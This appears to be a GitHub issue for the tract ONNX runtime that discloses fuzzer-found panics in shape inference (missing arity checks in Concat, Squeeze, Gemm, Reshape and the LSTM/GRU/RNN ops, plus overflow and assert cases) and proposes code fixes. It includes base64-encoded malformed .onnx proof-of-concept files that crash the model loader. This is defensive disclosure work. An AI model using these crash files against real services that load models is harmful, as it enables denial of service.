Skip to content

Reachable panics in ONNX/HIR shape inference: operand indexing without arity validation (multiple ops) #2391

Description

@professor-moody

Summary

Several InferenceRulesOp::rules() implementations index inputs[k] / outputs[k] before establishing that at least k+1 operands exist. A malformed .onnx that gives an operator too few inputs (or an output-optional op zero outputs) reaches an out-of-bounds index and panics during model construction. tract already has check_input_arity / check_output_arity helpers, but they are applied inconsistently — missing on several ops, or checked against a count that can legitimately be zero.

All sites below were found by a structure-aware ONNX fuzzing run and re-verified live on main @ e7f4449 (2026-06-18). They abort during a standard load:

let _ = tract_onnx::onnx().model_for_path("poc.onnx"); // panics

These are DoS-class (controlled Rust panics, not memory corruption). tract loads externally-supplied ONNX (model exchange, pipeline artifacts), so they are reachable from untrusted/partially-trusted files. Filing as a single issue since the core cluster shares one root cause.

Core cluster — operand indexing without arity validation

Op Site Current code Trigger
Concat hir/src/ops/array/concat.rs:37 check_output_arity(outputs,1) then s.equals(&outputs[0].rank, &inputs[0].rank) — no input-arity check 0 inputs → inputs[0] OOB
Squeeze onnx/src/ops/array/squeeze.rs:33 check_output_arity(outputs,1) then s.equals(&outputs[0].datum_type, &inputs[0].datum_type) — no input-arity check 0 inputs → inputs[0] OOB
Gemm onnx/src/ops/math/gemm.rs:41 guards only if inputs.len()==3 (optional C), then s.equals(&inputs[1].rank, 2) 1 input → inputs[1] OOB
Reshape hir/src/ops/array/reshape.rs:19 s.given_2(&inputs[0].shape, &inputs[1].value, …) — no input-arity check 1 input → inputs[1] OOB
LSTM/GRU/RNN onnx/src/ops/rec/common.rs:325 check_output_arity(outputs, output_count) where output_count = count of optional Y/Y_h/Y_c outputs (can be 0), then s.equals(&inputs[0].datum_type, &outputs[0].datum_type) node with no optional outputs → output_count==0outputs[0] OOB

Each panics with index out of bounds: the len is N but the index is N.

Suggested fix (cluster)

Call the existing helper at the top of each rules() before any indexing:

  • Concat: check_input_arity(inputs, 1)?;
  • Squeeze: check_input_arity(inputs, 1)?; (or 1..=2)
  • Gemm: check_input_arity(inputs, 2)?; (A and B mandatory; C optional)
  • Reshape: check_input_arity(inputs, 2)?;
  • rec/common: floor the output check at 1 (an RNN always produces ≥1 output), e.g. check_output_arity(outputs, output_count.max(1))?;, or guard each outputs[0] use.

Appendix — additional reachable panics from the same run (distinct root causes)

Site Panic Suggested guard
core/src/model/fact.rs:21 assert!(dims … >= 0) release assert! on a negative ShapeFact dim from an attacker dim; validate dims ≥ 0 and return an error instead of asserting
data/src/dim/tree.rs:1500 attempt to add with overflow (*s += o) integer overflow in symbolic-dim arithmetic; use checked/saturating add or bound the inputs
hir/src/ops/array/flatten.rs:15 range end index N out of range for slice of length M (shape[..axis]) Flatten axis not bounded against rank before slicing; validate axis <= rank
smallvec lib.rs:1356 (assert index < len) OOB index into a SmallVec from a tract caller reachable via a tract op; bound the index before use

Proof-of-concept files (base64 .onnx)

Decode each with base64 -d > poc.onnx, then tract_onnx::onnx().model_for_path("poc.onnx").

  • Concat (concat.rs:37): CA06awog+v///woCWDISAVkiBkNvbmNhdCoLCgRheGlzGAGgAQISBmNvbmNhdFoUCgJYMRIOCgwIARIICgIoAgoCCARaFAoCWDISDgoMCAHw9woCCAJKAggEYhMKAVkSDgoMCAESCAoCCAIKAggIQgQKABAR
  • Squeeze (squeeze.rs:33): CA06bgoW0AFYGgVzaGFSZRIBWSIHU3F1ZWV6ZRIHcmVzaGFwZSodCAIQCEIFc2hhcGUKEAIALgESDAIKAggKAggDCgJaFwoBWBISChAIARIMCgIIAgoCCAMKAghlYhMKAVkyDgoMCAESAggCBQAAAAgMQgQKABAW
  • Gemm (gemm.rs:41): CA06ygEKFwoBQRoBQkoGQ19iaWFzEgFZIgRHZW1tEgRnZW1tKlsIBAgFEAFCAUJKUAAAgD8AAIA/AACAPwAAgD8AAIA/AACAPwAAgD8AAIA/AACAAAAAAIA/P4A/AACAPwAAgD8AAIA//AD//+8AAAAAAYA/AACAPwAAgD8AAIA/KiIIBRABQgZDX2JpYXNKFAAAAAAAAAAAAAAAAAAAAAAAAAAAWhMKAUESDgoMCAESCAoCCAMKAggEYhMKAVkSDgoMCAESCAoCCAMKAkgFQgQKABAR
  • Reshape (reshape.rs:19): CA06bgoWGgFYCgVzaGFwZRIBWSIHUmVzaGFwZRIHcmVzaGFwZRIBWSIHUptzaGFwZRIHcmVzaGFwZSodCAIQB0IFc2hhcGUKEAIAAAAAAABtAlgxUDieGwBaFwoBWBISChAIATIMCgIIAgoCCDg4ODg4CARCBAoAEAw=
  • RNN (common.rs:325): CA06TAovEgFZIghDbm5zdGFudCogCgVWYWx1ZSoUCG0QBiIMAACAwQAAAEAAAEBAQgCgAQQSCGNvbnN0YWZ0Yg8KAVkSCgoICAESBBoCCQNCBAoAEBEIDTqGEQomCgFYCgFXCgFSMgFZIgRMU1RNKhIKC2hpZGRlbl9zaXplGAigAQISBGxzdG0qjggIAQggCAgQAUIBV0qACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqjggIAQggCAgQAUIBUkqACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIEAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACqOCAgBCCAICBABQgFSSoAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaFwoBWBISChAIARIMCgIIBAoCCAEKAggIYhsKAVkSFgoUCAESEAoCCAQKAggBCgIIAQoCCAhCBAoAEBE=
  • fact.rs:21 (negative dim): CA06cAoRCgFYCgRwYWRzEgFZIgNQYWQSA3BhZCosCAQQB0IEcGFkc0ogAAD+////////BxEEwTK7JQAAAAAAAAAAAAAAAAAAAABaEwoBWBIOCgwIARIICgIIAgoCCANiEwoBWRIOCgwIARIICgIIBAoCCApCBAoAEBk=
  • dim/tree.rs:1500 (overflow): CA06cAoRCgFYCgRwYWRzEgFZIgNQYWQSA3BhZCosCAQQB0IEcGFkc0ogATgiBFJlbHUKEAoDWDE4EgNYMTkiBFJlAgAQAAAAAABaEwoBWBIOCgwIARIICgIIQQoCCANiEwoBWRIOCgwIARIICgIIBAoCCApCBAoAEBk=
  • flatten.rs:15 (axis range): CA06VQocCgFYEgFZIgdGbGF0dGVuKgsKBGF4aXMYIaABAhIHZmxhdHRlbloXCgFYEhIKEAgBEgxKAggCCgIIAwoCCARiEwoBWRIOCgwIARIICgIIAgoCCAxCBAoCEBEIDTq6BAoOCgJYMRICWDEiBFJlbHUKDgoCWDESAlgyIgRSZWx1Cg4KAlgwEgJYMyIEUmVsdQoOCgJYMxICWDQiBFJlbHUKDgoCWDQSAlg1IgRSZWx1Cg4KAlg1EgJYNiIEUmVsdQoOCgJYNhICWDciBFJlbHUKDgoCWDQSAlg4IgRSZWx1Cg4KAlg4EgJYOSIEUmVsdQoPCgJYOBIDWDEwIgRSZWx1ChAKA1gxMBIDWDExIgRSZWx1ChAKA1gxMRIDWDEyIgRSZWx1ChAKA1gxMhIDWDEzIgRSZWx1ChAKA1gxMxIDWDE0IgRSZWx1ChAKA1gxNBIDWDE1IgRSZWx1ChAKA1gxNBIDWDE2IgRSZWx1ChAKA1gxNhIDWDE3IgRSZWx1ChAKA1gxMBIDWDE4IgRSZWx1ChAKA1gxOBIDWDE5IgRSZWx1ChAKA1gxORIDWDIwIgRSZWx1ChAKA1gyMBIDWDIxIgRSZWx1ChAKA1gxMBIDWDIyIgRSZWx1ChAKA1gyMhIDWDIzIgRSZWx1ChAKA1gyMxIDWDI0IgRSZWx1ChAKA1gyNBIDWDI1IgRSZWx1ChAKA1gyNRIDWDI2IgRSZWx1ChAKA1gxMxIDWDI3IgRSZWx1ChAKA1gyNxIDWDI4IgRSZWx1ChAKA1gyOBIDWDI5IgRSZWx1ChAKA1gyOBIDWDMwIgRSZWx1EgoGZWVwX2NoYWluWhAKAlgwEgoKCAgBEgRKAggIYhEKA1gxNRIKCggIARIECgIICEIECgAQEQ==
  • smallvec OOB: CA06bgoWCgFYCgVzaGFwZRIBWSIHU3F1ZWV6ZRIHcmVzaGFwZSodCAIQB0IFc2hhcGVKEAICAAAAAPh+AAAAAAABAABaFwoBWBISChAIARIMCgIIAgoCCAMKAggEYhMKAVkSDgoMCAESCAoCCCIKAggMQgQKABAY

Found with Crucible, a structure-aware fuzzer for ML model parsers (Halo Forge Labs).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions